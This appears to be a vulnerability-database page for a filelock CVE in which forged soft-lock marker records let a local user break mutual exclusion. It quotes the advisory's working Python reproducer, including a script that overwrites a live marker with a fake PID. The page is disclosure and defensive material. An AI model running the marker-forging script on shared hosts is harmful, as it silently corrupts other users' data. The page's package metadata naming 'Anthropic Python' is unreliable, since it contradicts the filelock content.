filelock's soft-lock classes (SoftFileLock, MarkerSoftFileLock, SoftFileLease and async variants) decide a lock is stale from a record inside a marker file without checking who wrote it, so a local user with write access to a live marker can rewrite it to name a dead PID and make a same-account or root contender take the lock while the original holder is still inside. The result is two concurrent writers in a critical section with no error, which can corrupt caches, model downloads or state files. Real-world risk is low: it needs local access, a marker that is group- or other-writable (explicit mode=0o666, or umask 002/000), and a non-removable (sticky) directory, which is why it scores 4.7 Medium. EPSS is 0.0014 (though shown in the top 97th percentile), it is not in CISA KEV, and no public exploit or Nuclei template exists. Exposure is wide, though, with 5,436 downstream dependents. Upgrade to filelock 4.2.1, and until then stop giving soft-lock markers group/other write bits and keep lock files in directories other users cannot write.
What is the risk?
Medium, and conditional. Attack vector is local, the attacker needs an ordinary account on the same host, and attack complexity is high because the marker must be writable by the attacker but not removable by them, and a contender running as the holder's account or root must request the lock during the window. The default mode under umask 022 is not affected. Impact is integrity only (CVSS I:H): mutual exclusion silently fails. Likelihood of exploitation is low (EPSS 0.0014, no KEV, no public exploit). The risk is concentrated in multi-tenant hosts, shared GPU or ML workstations, shared CI runners and shared /tmp-style directories where several accounts run AI/ML tooling.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Anthropic Python | pip | >= 3.22.0, <= 4.2.0 | 4.2.1 |
Do you use Anthropic Python? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step1) Upgrade filelock to 4.2.1 (fix in PR #836) on every host and in every container image; affected range is 3.22.0 through 4.2.0. 2) Inventory with pip freeze or SBOM tooling, since the package is usually transitive. 3) Workarounds if you cannot patch: do not pass mode with group or other write bits to soft locks (use no mode or 0o644 under umask 022), avoid umask 002 or 000 for processes that take soft locks in shared directories, and keep lock files in directories other users cannot write. 4) Review shared AI workstations and CI runners that use shared sticky directories such as /tmp for lock files. 5) Detection: look for soft-lock marker files that are group/other-writable, markers containing PID 2147483647 or other implausible PIDs, and stray .break.<pid>.<token> files next to lock paths.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-112939?
filelock's soft-lock classes (SoftFileLock, MarkerSoftFileLock, SoftFileLease and async variants) decide a lock is stale from a record inside a marker file without checking who wrote it, so a local user with write access to a live marker can rewrite it to name a dead PID and make a same-account or root contender take the lock while the original holder is still inside. The result is two concurrent writers in a critical section with no error, which can corrupt caches, model downloads or state files. Real-world risk is low: it needs local access, a marker that is group- or other-writable (explicit mode=0o666, or umask 002/000), and a non-removable (sticky) directory, which is why it scores 4.7 Medium. EPSS is 0.0014 (though shown in the top 97th percentile), it is not in CISA KEV, and no public exploit or Nuclei template exists. Exposure is wide, though, with 5,436 downstream dependents. Upgrade to filelock 4.2.1, and until then stop giving soft-lock markers group/other write bits and keep lock files in directories other users cannot write.
Is CVE-2026-112939 actively exploited?
No confirmed active exploitation of CVE-2026-112939 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-112939?
1) Upgrade filelock to 4.2.1 (fix in PR #836) on every host and in every container image; affected range is 3.22.0 through 4.2.0. 2) Inventory with pip freeze or SBOM tooling, since the package is usually transitive. 3) Workarounds if you cannot patch: do not pass mode with group or other write bits to soft locks (use no mode or 0o644 under umask 022), avoid umask 002 or 000 for processes that take soft locks in shared directories, and keep lock files in directories other users cannot write. 4) Review shared AI workstations and CI runners that use shared sticky directories such as /tmp for lock files. 5) Detection: look for soft-lock marker files that are group/other-writable, markers containing PID 2147483647 or other implausible PIDs, and stray .break.<pid>.<token> files next to lock paths.
What systems are affected by CVE-2026-112939?
This vulnerability affects the following AI/ML architecture patterns: training pipelines, model serving, model download and cache management, shared ML workstations and CI runners, agent frameworks.
What is the CVSS score for CVE-2026-112939?
CVE-2026-112939 has a CVSS v3.1 base score of 4.7 (MEDIUM). The EPSS exploitation probability is 0.14%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001AI SoftwareCompliance Controls Affected
What are the technical details?
Original Advisory
`SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async variants and a `FileLock` that has fallen back to a soft lock on `ENOSYS` decide from the record inside the marker file whether its owner is gone. The marker is the file whose presence says a process holds the lock. They do not check who could have written that record. A local user who can write the marker but cannot remove it rewrites the holder's record to name a dead PID (process id). That position arises with an explicit `mode` with group or other write bits, or the default mode under a lax umask (the process setting that strips permission bits from new files), in a sticky or otherwise non-removable directory. The sticky bit is a directory flag that lets only a file's owner remove or rename it. The next contender running as the holder's account, or root, judges the lock stale, removes the live marker on that user's behalf and acquires it. Two processes then run the critical section together and neither gets an error. Affected versions are filelock 3.22.0 through 4.2.0 (finding `ANT-2026-W1H9NXUH`). ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N` scores 4.7 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the marker must carry group or other write bits (an explicit permissive `mode`, or umask `002`/`000` with a shared group), and a contender of the holder's account must ask for the lock while the forged record is in place. `I:H` (high integrity impact): two holders then write whatever the lock protects, and the holder is not told. `C:N` and `A:N` (no confidentiality or availability impact). `S:U` (scope unchanged). Classification from the review: **security, conditional** on another user being able to write the live marker. The scanner rated it high (CWE-345). The default mode under umask `022` is not affected. ## Scope and preconditions - The other user can write the marker. The application passes a `mode` with group or other write bits, which `fchmod` applies as given since 4.1.0. `0o666` is a common choice for a lock shared between accounts, although a soft-lock contender of another account waits as well on a `0o644` marker, since contenders only read and rename. Or the application uses the default mode (`0o666` through the umask) under umask `002` in a directory whose group the other user belongs to, or under umask `000`. The default mode under umask `022` is not affected. - The other user cannot remove the marker itself: the directory is sticky, or the other user cannot write it at all (a `0755` directory owned by the lock's user gives the same overlap). In a non-sticky shared directory the other user can unlink the marker without filelock, and filelock adds nothing. - A contender that may rename the marker asks for the lock: another process of the holder's account (several workers of one user) or root. A contender of another unprivileged account cannot rename the marker in a sticky directory and times out. - The finding reaches every class that publishes a soft marker: `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async variants, and `FileLock(mode=0o666)` on a filesystem where `flock` (a kernel lock on an open file) fails with `ENOSYS`. These protections against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against. ## Affected code At the scanned commit b831496: the create mode in [`SoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L67-L71), the explicit-mode `fchmod` in [`_apply_explicit_mode`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L100-L105), the trusting verdict in [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123) and the [`owner_is_stale`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_identity.py#L64-L79) it relies on; the same call in [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256). ## Introduced The stale verdict that trusts the record came in with e35c3afac473 ("feat(soft): detect and break stale locks", #476, 2026-02-13), first released in 3.22.0. From then on a marker left group- or other-writable by the umask is forgeable. The reproducer's exact configuration, an explicit `mode=0o666` under umask `022`, needs 66d309d ("fix(soft): honour mode and tighten marker grammar", #807), first released in 4.1.0. Both match the git tags. ## Mechanism A contender whose `O_CREAT | O_EXCL` create fails with `EEXIST` goes to `_try_break_stale_lock`. `_read_lock_file` makes sure the path is a regular file (`lstat`, `O_NOFOLLOW` open, `fstat`) and returns its content, mtime and inode (the kernel's identity for a file, independent of its name). It has the `fstat` result in hand but does not look at `st_uid` or `st_mode`. The code parses the content into `pid`, `hostname` and start token and hands them to `owner_is_stale`, whose docstring promises to return `True` "only when this process can prove the exact recorded owner is dead". That proof holds only if the owner wrote the record. A process of another account that can open the marker for writing uses `O_WRONLY | O_TRUNC` (no `O_CREAT`, so `fs.protected_regular` does not block it) and writes `2147483647\n<host>\n`, keeping the host line. The host matches, PID 2147483647 does not exist, and `owner_is_stale` returns `True`. `break_lock_file` renames the marker to `<lock>.break.<pid>.<token>` and unlinks it. Its mtime and inode guard compares against what the contender read after the rewrite, so it passes. The contender, which runs as the marker's owner, does the rename, so the sticky bit allows it. On the next poll the contender's `O_EXCL` create succeeds. The first holder is not told: `SoftFileLock` has no heartbeat, and on release `_unlink_open_marker` finds another inode or no file at the path and returns without an error. Other records lead to the same break, each run by the scanner the same way: the holder's own PID and host with a different third line (`owner_is_stale` reads a live PID with another start token as a recycled PID); an empty file (malformed, broken after `MALFORMED_LOCK_AGE_THRESHOLD`, 2 s). `MarkerSoftFileLock` and `SoftFileLease` apply `owner_is_stale` to the `pid=`, `host=` and `start=` fields of a protocol 2 record, and rewriting `pid=` admitted a second process for both. A `SoftFileLease` holder learns of it at its next heartbeat through `on_compromise`; `SoftFileLock` and `MarkerSoftFileLock` holders do not learn of it at all. The marker becomes writable by another account in two ways. An explicit `mode` with group or other write bits goes through `fchmod`, so the umask does not narrow it (`test_lock_mode_soft` at the scanned commit pins `-rw-rw-rw-` under umask `022`). The default mode passes `0o666` to `os.open`, so under umask `002` the marker is `0o664`. With no `mode` argument, in a setgid and sticky group directory (`3770`), a second member of the group rewrote the marker and a second process of the holder's user acquired the same way. Under umask `000` the marker is `0o666` and any local user can rewrite it. `FileLock(mode=0o666)` on a filesystem where `flock` fails with `ENOSYS` falls back to `SoftFileLock` and produces the same `-rw-rw-rw-` marker (confirmed with `fcntl.flock` replaced by a stub raising `ENOSYS`). With `mode=0o644`, or no `mode` under umask `022`, the other user's open fails with `EACCES` and the second process times out. ## Reproduction The scanner's reproducer for `ANT-2026-W1H9NXUH`, quoted as received. It ran against commit `b831496b0273`. **`repro`** ```python #!/usr/bin/env python3 import os import pwd import shutil import stat import subprocess import sys import tempfile import time # root bypasses file permissions, so each party runs as one of the image's unprivileged accounts AS_VICTIM = ["runuser", "-u", "victim", "--", sys.executable] AS_ATTACKER = ["runuser", "-u", "attacker", "--"] WORKER = "/tmp/repro.d/worker.py" REWRITE_MARKER = "/tmp/repro.d/rewrite_marker.py" # set up: a sticky, world-writable directory like /tmp; both workers print "entered" / "left" into one shared log shared_dir = tempfile.mkdtemp(prefix="shared-", dir="/tmp") os.chmod(shared_dir, 0o1777) lock_path = os.path.join(shared_dir, "cache.lock") log_path = os.path.join(shared_dir, "order.log") log = open(log_path, "w") first = subprocess.Popen([*AS_VICTIM, WORKER, lock_path, "first", "6"], stdout=log) while "first entered" not in open(log_path).read(): assert first.poll() is None, "the first worker did not get the lock" time.sleep(0.05) marker = os.stat(lock_path) print("marker:", stat.filemode(marker.st_mode), pwd.getpwuid(marker.st_uid).pw_name, repr(open(lock_path).read())) # before the attack: the second worker times out, and the attacker cannot delete the marker from the sticky directory second_before = subprocess.run([*AS_VICTIM, WORKER, lock_path, "second", "0.5"], stdout=log, stderr=subprocess.PIPE, text=True) print("second worker:", second_before.stderr.splitlines()[-1]) assert "Timeout" in second_before.stderr rm = subprocess.run([*AS_ATTACKER, "rm", "-f", lock_path], capture_output=True, text=True) print("attacker:", rm.stderr.strip()) assert rm.returncode != 0 # attack: no check=True, because under a fix the marker is not writable by others, and then this step fails subprocess.run([*AS_ATTACKER, sys.executable, REWRITE_MARKER, lock_path]) print("marker after the attack:", repr(open(lock_path).read())) # the second worker tries again, exactly as before subprocess.run([*AS_VICTIM, WORKER, lock_path, "second", "0.5"], stdout=log) print("first worker exit status:", first.wait()) # check: a correct lock keeps the second worker out until the first has left order = open(log_path).read().splitlines() print("order:", order) shutil.rmtree(shared_dir) print("BUG" if order == ["first entered", "second entered", "second left", "first left"] else "OK") ``` **`repro.d/rewrite_marker.py`** ```python #!/usr/bin/env python3 # The attacker, another account: overwrite the live holder's record in place with one naming a PID that cannot exist. import os import sys lock_path = sys.argv[1] NO_SUCH_PID = 2**31 - 1 # the largest PID the marker parser accepts; Linux pid_max is at most 2**22 holder_host = open(lock_path).read().splitlines()[1] # owner_is_stale only judges records from its own host marker = os.open(lock_path, os.O_WRONLY | os.O_TRUNC) # no O_CREAT, so fs.protected_regular does not refuse it os.write(marker, f"{NO_SUCH_PID}\n{holder_host}\n".encode()) os.close(marker) ``` **`repro.d/worker.py`** ```python #!/usr/bin/env python3 # One of several workers of the victim's application; they take turns under a soft lock in a shared directory. import sys import time from filelock import SoftFileLock lock_path, name, work_seconds = sys.argv[1], sys.argv[2], float(sys.argv[3]) # mode=0o666 so that the lock file can be used from several accounts with SoftFileLock(lock_path, mode=0o666, timeout=1): print(name, "entered", flush=True) time.sleep(work_seconds) print(name, "left", flush=True) ``` ## Attack sequence ```mermaid sequenceDiagram participant H as holder (uid victim) participant M as cache.lock (0666, owner victim, sticky dir) participant A as other account (uid attacker) participant C as contender (uid victim) H->>M: O_CREAT|O_EXCL create, fchmod 0o666, write "pid host token" C->>M: O_EXCL fails, read record: holder alive, Timeout A->>M: rm: EPERM (sticky directory) rect rgb(255, 214, 214) A->>M: open O_WRONLY|O_TRUNC, write "2147483647 host" C->>M: read record, owner_is_stale: PID 2147483647 is dead C->>M: rename to cache.lock.break.*, unlink (the owner may) C->>C: next poll: O_EXCL succeeds, enters beside H Note over H,C: both inside, no error, H's release finds another inode and returns end ``` ## Evidence The scanner's reproducer runs two `victim` workers on `with SoftFileLock(path, mode=0o666, timeout=1):` in a root-owned `1777` directory under `/tmp` (overlayfs, `fs.protected_regular=2`), with `attacker` uid 1001 sharing no group with `victim`. It printed the marker as `-rw-rw-rw- victim '<pid>\n<host>\n<start token>\n'`, the second worker's `Timeout`, `rm: cannot remove ...: Operation not permitted` for `attacker`, the marker after the rewrite as `'2147483647\n<host>\n'`, first worker exit status 0, and the log order `['first entered', 'second entered', 'second left', 'first left']`. The second worker entered and left while the first was still inside its `with` block, about 50 ms after the rewrite, on its second poll. It prints `BUG` every time, in about 6 s. Our review ran the same reproducer: `BUG` on 4.2.0, `OK` on the head of #836. The review also tried umask `000` with the default mode. ## Impact A local user who can write a soft lock's marker but cannot remove it gets a second process admitted into the critical section while the first holder is still inside. With no `lifetime` set, `SoftFileLock` and `MarkerSoftFileLock` give neither process a signal. Whatever the lock protects (a cache, an install directory, a state file) then has two concurrent writers. The other user chooses the moment and gains nothing else: it touches no file other than the marker. The process that rewrites the record runs under a different UID from the holder; the same-UID contender only follows the protocol. ## Workarounds Do not give soft markers group or other write bits: pass no `mode` (or `mode=0o644`) under umask `022`. A soft-lock contender of another account waits as well on a `0o644` marker, because contenders only read and rename. The write bits matter only for the native `flock` lock and for `FileLock`'s first open before it falls back to a soft lock. Avoid umask `002` or `000` for processes that take soft locks in directories shared with other accounts, and keep lock files in a directory other users cannot write. ## Patched version 4.2.1. Fix: https://github.com/tox-dev/filelock/pull/836 ## Credits Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers. - 2026-10-15 23:08 UTC: report received (finding `ANT-2026-W1H9NXUH`, scanned commit b831496b0273) - 2026-10-16 00:46 UTC: draft advisory - 2026-10-16 01:16 UTC: fix PR #836 opened
Exploitation Scenario
On a shared ML workstation, a team's training and model-sync workers run as one service account and use SoftFileLock(mode=0o666) in a sticky shared directory to serialize writes to a model cache. A low-privileged local user opens the live marker with O_WRONLY|O_TRUNC and writes PID 2147483647 plus the holder's hostname. The next worker of the service account (or root) reads the record, concludes the holder is dead, removes the marker and acquires the lock while the original worker is still writing. Both write the cache or checkpoint at once, silently corrupting it, and the attacker can repeat this at moments of their choosing.
Weaknesses (CWE)
CWE-345 — Insufficient Verification of Data Authenticity: The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:NReferences
Timeline
Related Vulnerabilities
CVE-2026-9460310.0Podman: checkpoint images override sandbox on run
Same package: anthropicCVE-2026-544498.8LangBot: RCE via arbitrary STDIO MCP command
Same package: anthropicCVE-2026-277758.8Gitea: cached permission check allows repo takeover
Same package: anthropicCVE-2026-554298.7Coder: cross-workspace agent hijack via app ID reuse
Same package: anthropicCVE-2026-75748.7Claude Desktop: VM integrity bypass enables RCE
Same package: anthropic